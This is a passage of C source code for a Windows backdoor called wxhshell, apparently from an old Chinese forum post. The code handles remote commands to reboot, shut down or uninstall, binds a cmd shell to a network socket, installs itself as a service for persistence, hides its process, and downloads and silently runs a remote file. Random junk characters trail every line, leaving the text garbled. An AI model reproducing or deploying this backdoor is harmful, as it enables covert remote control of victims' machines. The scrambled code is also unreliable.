  case '?': { aBQ--Sz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G+sB/l"  
    break; ~7j-OWz9  
  } o6 NmDv5  
  // 安装 N1g;e?T ':  
  case 'i': { k}kwr[  
    if(Install()) wp8-(E^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VIGLl'8p  
    else =&-.]| t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZR3sz/ulLd  
    break; :T6zT3(")D  
    } GM;uwL#  
  // 卸载 zN9@.!?X2  
  case 'r': { 9\Rk(dd  
    if(Uninstall()) wrCV&2CG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <MO40MP  
    else ;>>:7rdYt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H.n|zGQTB  
    break; GRL42xp'*D  
    } { ~{D(k  
  // 显示 wxhshell 所在路径 N{RHbSa(  
  case 'p': { nWYfe-zQxg  
    char svExeFile[MAX_PATH]; FB+nN5D/  
    strcpy(svExeFile,"\n\r"); nf _(_O=  
      strcat(svExeFile,ExeFile); v(sS$2J|}  
        send(wsh,svExeFile,strlen(svExeFile),0); Cu$`-b^y  
    break; jMR9E@>~E  
    } ]+^4Yq>2  
  // 重启 "lA$;\&  
  case 'b': { YP"%z6N@v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #/`MYh=!W  
    if(Boot(REBOOT)) 2"xhFxoD7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T3)m{gv0`  
    else { `+KLE(]vyH  
    closesocket(wsh); U!"RfRD.<  
    ExitThread(0); S)2Uoj  
    } hZe9Y?)  
    break; 3PzF^8KJ  
    } )086u8w )y  
  // 关机 bX`]<$dr3  
  case 'd': { xU.Ymq& 5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aeLIs SEx  
    if(Boot(SHUTDOWN)) v"sU87+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MS|1Q@S9  
    else { ;''S} ;  
    closesocket(wsh); RKs_k`N0  
    ExitThread(0); .$G^c   
    } j\.pS^+  
    break; ^=cX L  
    } /xA`VyHO  
  // 获取shell h*[sV  
  case 's': { W89J]#v)k  
    CmdShell(wsh); .d)H2X  
    closesocket(wsh); wE <PXBl\b  
    ExitThread(0); M@.?l=1X  
    break; {2|sk9?W  
  } 5= MM^$QG  
  // 退出 oFGgr2Re  
  case 'x': { : SD3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6Vu??qBy  
    CloseIt(wsh); @yPI$"Ma  
    break; V3pn@'pr  
    } =8qhK=&]  
  // 离开 Mr K?,7*Xi  
  case 'q': { {\!@ k\__  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ol4!#4Y&{  
    closesocket(wsh); '(($dT  
    WSACleanup(); U@:iN..  
    exit(1); BS3BJwf; f  
    break; T:j!a{_|  
        } pHDPj,lu  
  } uUpOa+t  
  } ? v@q&  
);F /P0P  
  // 提示信息 \l;H !y[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D>q?My  
} 8\Z/mU*4  
  } O~#OVFJ9=  
5Ul=Nv]  
  return; <J1$s_^`  
} !3at(+4  
Lr(wS {  
// shell模块句柄 b(g?X ( &  
int CmdShell(SOCKET sock) OEN'c0;5  
{ ^UpwVKdP  
STARTUPINFO si; (e{pAm  
ZeroMemory(&si,sizeof(si)); oU~e|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %1]Lc=[j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PmE2T\{s!  
PROCESS_INFORMATION ProcessInfo; N(&/ Ud  
char cmdline[]="cmd"; VrRBwvp-K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }"chm=b  
  return 0; )N&v. w  
} 3PZwz^oRh9  
/`VtW$9-  
// 自身启动模式 .mS'c#~5Y  
int StartFromService(void) #T)gKp  
{ i_;]UvP  
typedef struct *8QGv6*vQ  
{ 8[z& g%u  
  DWORD ExitStatus; o[eIwGxZ  
  DWORD PebBaseAddress; j]_"MMwk$<  
  DWORD AffinityMask; rU1{a" {  
  DWORD BasePriority; G@n%P~  
  ULONG UniqueProcessId; ViT$]Nv  
  ULONG InheritedFromUniqueProcessId; VlFDMw.4.+  
}   PROCESS_BASIC_INFORMATION; e_pyjaY!s  
M}6? |ir  
PROCNTQSIP NtQueryInformationProcess; B\!.o=<h  
u>-!5=D8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cS1BB#N0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |2~fOyA+  
>;@hA*<  
  HANDLE             hProcess; eqE%ofW  
  PROCESS_BASIC_INFORMATION pbi; \=/^H  
Me*]Bh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KI Ua  
  if(NULL == hInst ) return 0; S}*%l)vfR  
@=[ SsS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )TcW.d6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $r=Ud >  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ` 5Qo*qx  
4 p(KdYc  
  if (!NtQueryInformationProcess) return 0; OW<5,h  
d<v>C-nk%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]jS+ItL@  
  if(!hProcess) return 0; k/#& ]8(  
=w!14@W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BqKh&m  
zZ=.riK  
  CloseHandle(hProcess); :xT=uE.I  
Ls^$E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =2eG j'}  
if(hProcess==NULL) return 0; `cr.C|RT:  
S)*eAON9  
HMODULE hMod; Qy@r&  
char procName[255]; )#dP:  
unsigned long cbNeeded; ^25[%aJI  
?qQRA|n*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 29#;;n}p  
ewtoAru  
  CloseHandle(hProcess); @GG Pw9a  
,Mwj`fgh  
if(strstr(procName,"services")) return 1; // 以服务启动 $u9y H Z  
<3>Ou(F  
  return 0; // 注册表启动 m+Yj"RMx&  
} g.N~81A  
\TrhJ  
// 主模块 ~WJEH#  
int StartWxhshell(LPSTR lpCmdLine) B/Lx,  
{ _6 ~/`_(KP  
  SOCKET wsl; vxo iPqo  
BOOL val=TRUE; ?8X+)nU@  
  int port=0; @3K 4,s  
  struct sockaddr_in door; 'N0/;k0ax  
)nS;]7pB@  
  if(wscfg.ws_autoins) Install(); d\V\,% &.  
PU^Z7T);  
port=atoi(lpCmdLine); s!2pOH!u   
h30~2]hH  
if(port<=0) port=wscfg.ws_port; ds4)Nk4%O  
W/uaNp  
  WSADATA data; 08S|$_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f[!Q R  
@&]j[if (s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C/+8lA6NV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?K/z`E!xhN  
  door.sin_family = AF_INET; xxm1Nog6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m(8t |~S  
  door.sin_port = htons(port); @fbB3  
H0s,tTK8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g!O(@Sqp1  
closesocket(wsl); m4 *Rr  
return 1; cV5Lp4wY?  
} @qH<4`y.^  
c)M_&?J!5  
  if(listen(wsl,2) == INVALID_SOCKET) { -~ `5kO~  
closesocket(wsl); 2Fce| Tn  
return 1; It4J \S  
} Kl$!_$  
  Wxhshell(wsl); 'wX'}3_/g  
  WSACleanup(); h2u> CXD  
rj*4ZA?  
return 0; !\8j[QS!  
?iUAzM8  
} gBq,So  
;{ Y|n_  
// 以NT服务方式启动 >"S'R9t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bj J$I^  
{ Z| +/Wl-h  
DWORD   status = 0; }$;T.[ ~  
  DWORD   specificError = 0xfffffff; ^;$f-e  
BRV /7ao="  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .)B_~tct  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~-6Kl3Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >0i?}  
  serviceStatus.dwWin32ExitCode     = 0; !w98 [BE7  
  serviceStatus.dwServiceSpecificExitCode = 0; Sz"J-3b^  
  serviceStatus.dwCheckPoint       = 0; %"DEgI P  
  serviceStatus.dwWaitHint       = 0; BJk\p.BVN  
%n9}P , ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); * KFsO1j  
  if (hServiceStatusHandle==0) return; ![:S~x1  
E'&UWD h  
status = GetLastError(); j 46f Q  
  if (status!=NO_ERROR) lbgnO s,  
{ lb&tAl"D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xK0VWi  
    serviceStatus.dwCheckPoint       = 0; 3b{8c8N^  
    serviceStatus.dwWaitHint       = 0; ^,b*.6t  
    serviceStatus.dwWin32ExitCode     = status; PT|^RF%fT  
    serviceStatus.dwServiceSpecificExitCode = specificError; @ MNL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z%XBuq:BY  
    return; Nd#t !=  
  } us4.-L  
X c,UR .  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =6j  5,  
  serviceStatus.dwCheckPoint       = 0; [FC7+ Ey^  
  serviceStatus.dwWaitHint       = 0; _$wWKJy9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n@5pS3qZ  
} _W]2~9  
djPr 4Nog  
// 处理NT服务事件,比如:启动、停止 iX.=8 ~3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (Y'rEc#H&z  
{ [lQp4xgxi  
switch(fdwControl) Zo;@StN3}T  
{ Q9 kKk  
case SERVICE_CONTROL_STOP: )dJM  
  serviceStatus.dwWin32ExitCode = 0; ^Cyx "s't  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ).N}x^  
  serviceStatus.dwCheckPoint   = 0; 5cxA,T  
  serviceStatus.dwWaitHint     = 0; <jw`"L[D  
  { Zx55mSfx:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  t\{q,4  
  } 5 & -fX:/  
  return; T6Ue\Sp'  
case SERVICE_CONTROL_PAUSE: L,waQk / @  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X+P& up06  
  break; |vTirZP  
case SERVICE_CONTROL_CONTINUE: 0UWLs_k:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0FjSa\ZH  
  break; Trbgg  
case SERVICE_CONTROL_INTERROGATE: jLD=EJ  
  break; #TZYe4#f  
}; @6 gA4h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MrLDe {^C2  
} @a>+r1  
5p94b*l  
// 标准应用程序主函数 AvEJX0"\df  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z:RwCd1\  
{ u+[ZWhKUp  
#R305  
// 获取操作系统版本 &{x5 |$SD  
OsIsNt=GetOsVer(); o*f7/ZP1o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "] kaaF$U%  
c(ZkK  
  // 从命令行安装 A37Z;/H~k  
  if(strpbrk(lpCmdLine,"iI")) Install(); +X cB5S>  
F{]dq/{  
  // 下载执行文件 &Zd{ElM  
if(wscfg.ws_downexe) { jf*M}Q1jHE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K$ #(\-M  
  WinExec(wscfg.ws_filenam,SW_HIDE); V2i*PK X  
} {{SQL)yJ  
G0CmY43  
if(!OsIsNt) { ]#j]yGV  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rw^4S@~T  
HideProc(); '2uQ  
StartWxhshell(lpCmdLine); 6}n_r}kNR  
} i)+@'!6  
else D7[ 8*^  
  if(StartFromService())  #XQEfa  
  // 以服务方式启动 C[&  \Xq  
  StartServiceCtrlDispatcher(DispatchTable); EtcAU}9  
else 4 FGcCE3  
  // 普通方式启动 %$`pD I)  
  StartWxhshell(lpCmdLine); I Zi1N  
6Nj\N oS  
return 0; ^Ml)g=Fq  
}
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只看该作者 1 发表于: 2006-10-10
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